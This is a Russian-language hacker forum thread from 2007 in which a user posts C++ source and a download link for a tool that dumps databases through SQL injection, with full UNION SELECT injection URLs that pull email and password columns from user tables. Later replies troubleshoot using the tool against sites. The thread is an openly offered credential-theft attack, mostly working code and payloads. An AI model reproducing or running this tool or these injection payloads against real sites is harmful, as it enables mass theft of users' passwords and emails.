sql-outjection, делает дамп БД через SQL-injection

Discussion in 'Уязвимости' started by je0n, 13 Nov 2007.

  1. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    SQL-outjection
    intro
    У меня была скуль-инъекция и я нашел базу форума с открытыми паролями и мылами юзеров. Копировать каждый мыльник в ручную мне было не по каифу и я написал прогу, которая это автоматизирует.

    Как работает:
    Вы показываете программе скуль-инжекшн, далее она сама делает GET-запросы, каждый раз увеличивая параметр limit x,1 на единицу. И из полученного ответа программа выдирает все, что находится между тегами <start> и </start> и сохраняет в файл. А теги <start> и </start> вы указываете в вашей инъекции.

    Пример:
    У вас есть уязвимость типа:
    которая выводит логин пароль в виде:nick: pass
    Теперь, чтобы программа врубилась где на странице эта пара nick: pass, необходимо ее заключить между тегами: <start>nick: pass</start>
    То есть, нужно лишь чуть-чуть изменить запрос к БД. Вот так:
    где,
    char(60,115,116,97,114,116,62) - это закодиравынный тэг <start>
    То есть этот запрос выведит, то что нам и нужно:
    <start>nick: pass</start>
    Вот такой запрос и нужно указать программе.
    Т.к. программа бета-бета-бета версия и вряд ли будет другая версия, т.к. эта меня вполне устраивает, то обязательно нужно, чтобы в запросе скуль-инъекции после слова limit стоял +. (limit+x,1). limit должно быть написано маленькими буквами!!! Короче, должно соответствовать, показанным примерам.

    Запуск программы:
    теперь покажу как запускать прогу, чтобы уже она делала дамп. Мы хотим хекать сайт xxx.com. Наша инъекция имеет такой вид (вместе с тегами <start> и </start>:
    /news/news.php?id=-18864%20union%20select%201,2,3,4,5,version(),7,concat(char(60,115,116,97,114,116,62),email,char(58),passwd,char(60,47,115,116,97,114,116,62)),9,10,11,12+from+busers+where+1+limit+0,1/*
    мы сохраняем все в файл 1.txt.

    Пример:
    ______________________
    sql-outjection.exe xxx.com /news/news.php?id=-18864%20union%20select%201,2,3,4,5,version(),7,concat(char(60,115,116,97,114,116,62),email,char(58),passwd,char(60,47,115,116,97,114,116,62)),9,10,11,12+from+busers+where+1+limit+0,1/* 1.txt
    ______________________
    ВСЕ!
    Если все сделали правильно, то должны начать отображаться текущие дампы из БД, то есть то, что между тегами <start> и </start>. Когда все записи в БД закончатся программа напишет FINISH. Вот, собственно и все.

    Программа:
    http://ifolder.ru/4118527 - атканпилированныя
    Code:
    //SQL-outjection tool :)
    //by je0n
    #include <iostream>
    #include <stdio.h>
    #include <winsock2.h>
    #include <string.h>
    #include <time.h>
    
    char* GETRequest(char*,char*);
    char* str_replace(char*,char*,char*);
    char* ChangeRequestToNextRaw(char* request);
    
    int main(int argc, char* argv[])
    {
    	if(argc==4)
    	{
    		char buf[50000];
    		char server[100];
    		char page[2000];
    		char filename[255];
    		BOOL b=true;
    		int start=0;int finish=0;int limit=0;
    	
    		lstrcpy(server,argv[1]);
    		lstrcpy(page,argv[2]);
    		lstrcpy(filename,argv[3]);
    
    		
    		while(b)
    		{
    			lstrcpy(buf,GETRequest(server,page));
    			start=(int)(strstr(buf,"<start>")-(DWORD)buf);       //после какого слова начинать выборку
    			finish=(int)(strstr(buf,"</start>")-(DWORD)buf);     //каким словом выборку заканчивать
    			if(start<finish && start>0 && finish>0)
    			{
    				int found_string_length=finish-start-6;
    				char found_string[100];
    				lstrcpyn(found_string,buf+start+7,found_string_length);
    				printf(found_string);
    				printf("\r\n");
    				FILE* f=fopen(filename,"a+");
    				fputs(found_string,f);
    				fputs("\r\n",f);
    				fclose(f);
    				lstrcpy(page,ChangeRequestToNextRaw(page));
    			}
    			else b=false;
    		}
    		printf("\r\nFINISHED");
    		
    
    		
    		//puts(buf);
    	}
    	else
    	{
    		printf("1st parametr:\r\n");
    		ChangeRequestToNextRaw("urururu limit 1234,1");
    	}
    	return 0;
    }
    
    char* GETRequest(char* server,char* page)
    {
    	WSADATA sock_info;
    	int err=WSAStartup(MAKEWORD(2,0),&sock_info);
    	if(err==SOCKET_ERROR)
    	{
    		printf("WSAStartup error");
    		return 0;
    	}
    	int sock;
    	struct sockaddr_in sa;
    	struct hostent* h;
    	char page_text[50000];
    	char buf_in[2];
    	char buf_out[500];
    	int x;
    	sa.sin_family=AF_INET;
    	sa.sin_port=htons(80);
    	h=gethostbyname(server);
    	memcpy(&sa.sin_addr,h->h_addr_list[0],h->h_length);
    	sock=socket(AF_INET,SOCK_STREAM,0);
    	if(connect(sock,(sockaddr*)&sa,sizeof(sa))<0)
    	{
    		printf("connect() error");
    		return 0;
    	}
    	lstrcpy(buf_out,"GET ");                  //Составляем GET-запрос
    	lstrcat(buf_out,page);
    	lstrcat(buf_out," HTTP/1.0\r\n");
    	send(sock,buf_out,lstrlen(buf_out),0);
    	lstrcpy(buf_out,"Host: izobilnik.ru\r\n");
    	send(sock,buf_out,lstrlen(buf_out),0);
    	lstrcpy(buf_out,"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, */*\r\n"); //заголовок Accept:
    	send(sock,buf_out,lstrlen(buf_out),0);
    	lstrcpy(buf_out,"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\r\n\r\n"); //заголовок User-Agent:
    	send(sock,buf_out,lstrlen(buf_out),0);
    	lstrcpy(page_text,"");
    	x=recv(sock,buf_in,sizeof(buf_in)-1,0);          //в buf_in должен быть заголовок Content-length,его надо прочитать и превратить в цифру, чтобы потом знать, когда я получу последний символ страницы, чтобы не вызвать левый вызов recv()
    	while(x>0)										//Хотя я как посмотрю, сейчас оно НАХУЙ НЕ НАДО!!!
    	{
    		buf_in[x]=0;
    		lstrcat(page_text,buf_in);
    		//printf(buf_in);
    		x=recv(sock,buf_in,sizeof(buf_in)-1,0);
    	}
    	closesocket(sock);
    	return page_text;
    }
    
    char* ChangeRequestToNextRaw(char* request)
    {
    	int n=0;int zpt_pos=0;
    	char limit_string[10];
    	char returned[1000];
    	
    	n=(int)(strstr(request,"limit")-(DWORD)request);
    //	printf(request);
    	if(request[n+5]==' ' || request[n+5]=='+')
    	{
    		zpt_pos=(int)(strstr(request+n+6,",")-(DWORD)(request+n+6));
    		itoa(zpt_pos,limit_string,10);
    		//printf(limit_string);
    		if(zpt_pos>0)
    		{
    			lstrcpyn(limit_string,request+n+6,zpt_pos+1);
    	//		printf(request);
    	//		printf("\r\n");
    	//		printf(limit_string);
    			int limit=atoi(limit_string)+1;
    			itoa(limit,limit_string,10);
    			lstrcpyn(returned,request,n+7);
    			lstrcat(returned,limit_string);
    			lstrcat(returned,request+n+6+zpt_pos);
    	//		printf("\r\n");
    	//		printf(returned);
    			return returned;
    		}
    		else 
    		{
    			printf("error in ChangeRequestToNextRaw(),cant find ','");
    			return 0;
    		}
    	}
    }
    
    char* str_replace(char* source,char* from,char* to)
    {
    	int size=strlen(source)+strlen(from)+strlen(to);
    	char* str=new char[size];
    	char left[10000];
    	char right[10000];
    	int n=0;
    	memset(str,0,size);
    	while(str=strstr(source+n,from))
    	{
    		lstrcpyn(left,source,str-source+1);
    		lstrcpy(right,str+lstrlen(from));
    		lstrcpy(source,left);
    		lstrcat(source,to);
    		lstrcat(source,right);
    		n=(DWORD)(str)-(DWORD)(source)+lstrlen(to);
    	}
    	return source;
    }
    
    P.S. Я знаю, что кодер из меня никакущий, потому можете не говорить, что она криво написано. Я это знаю! В данном случае мне важен результат. не более.
    P.S.S. Вообще она конечно примитивна, не поддерживает пост-запросы, куки, и прокси. Но для большинства случаев подойдет!
     
    6 people like this.
  2. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    зачем велосипед изобретать? на перле занимает 20 строчек. с многопоточностью - 25-30..
     
  3. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Непохек.
    1. Код ужасен (хотя ты сам об этом говорил)
    2. Код очень большой (как сказал br, на перле это всё реализуется гораздо проще.)
    3. Программа как я понял заточена под одну sql-inj, что уже делает её не неужной.
    4. Постфиксный инкремент, регулярка и цикл. Вот и вся программа. Большая часть кода просто не нужна.
     
  4. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    госпада, а где же линк на кульный перловый скриптег ? :)
     
  5. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    к сожалениюю с моими параметрами вылетает :(
     
  6. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    100% че-то не так замутил, покажи как запускал
     
  7. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    1.exe site.ru /путь_к_скрипту_со_скулей 1.txt

    файл создал в тойже папке где лежит сама ехе
    один вопрос - нужен ли пробел между именем сайта и пути?
     
  8. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    да!
    и еще: в пути к скрипту со скулей не должно быть пробелов!
    а так я не могу ничего сказать пока не увижу уязвимости своими глазами. Если не хочешь выкладывать в паблик уязвимость, напиши в ПМ.
     
    1 person likes this.
  9. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    пасиба, расчехлился, перед адресом серванта забыл потереть http:// из-за этого и вылетало :)
     
    1 person likes this.
  10. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    да, вроде не вылетает, но сцуко конекта нет, как не странно :)
    осталось тока научить её работать через прокси :)
    так ломает делать перенаправление трафика :)
    ты паходу впн юзаешь?
     
  11. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    У меня не пашет, вроде ошибок не сделал, sql-outjection.exe сайт.ру /index.php?mode=vareliste&kat_id=-2+union+select+1,2,concat(char(60,115,116,97,114,116,62),email,char(58),passwd,char(60,115,116,97,114,116,62)),4,5,6+from+maillist+limit+0,1/* 1.txt
    Пишет: "kat_id" не является внутренней или внешней
    командой, исполняемой программой или пакетным файлом.
     
  12. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
    мда... конченная у меня программа получилась :)
    ну понятно, что cmd думает, что & это его комманда и ещет программу kat_id :) нужно как-то заменить символ &
    хз как это сделать. юзай другие, более понтовые программы. Мне не каиф сейчас много думать :) у меня башка вообще не шарит, после вчерашнего
     
    1 person likes this.
  13. Shred

    Shred Elder - Старейшина

    Joined:
    22 May 2006
    Messages:
    200
    Likes Received:
    29
    Reputations:
    0
    плин, подскажите плз где можна намутить работающие дамподелали или хотя бы названия утил\скриптов, с миня многа ++++++ снк.
     
  14. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
  15. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    У меня не получается... =\ Примерно такая sql-inj:
    http://www.site.com/folder/?page=2&id=-45+UNION+SELECT+1,2,3...
    Я так понимаю, что у меня не получается, потому что нету скрипта в инъекции?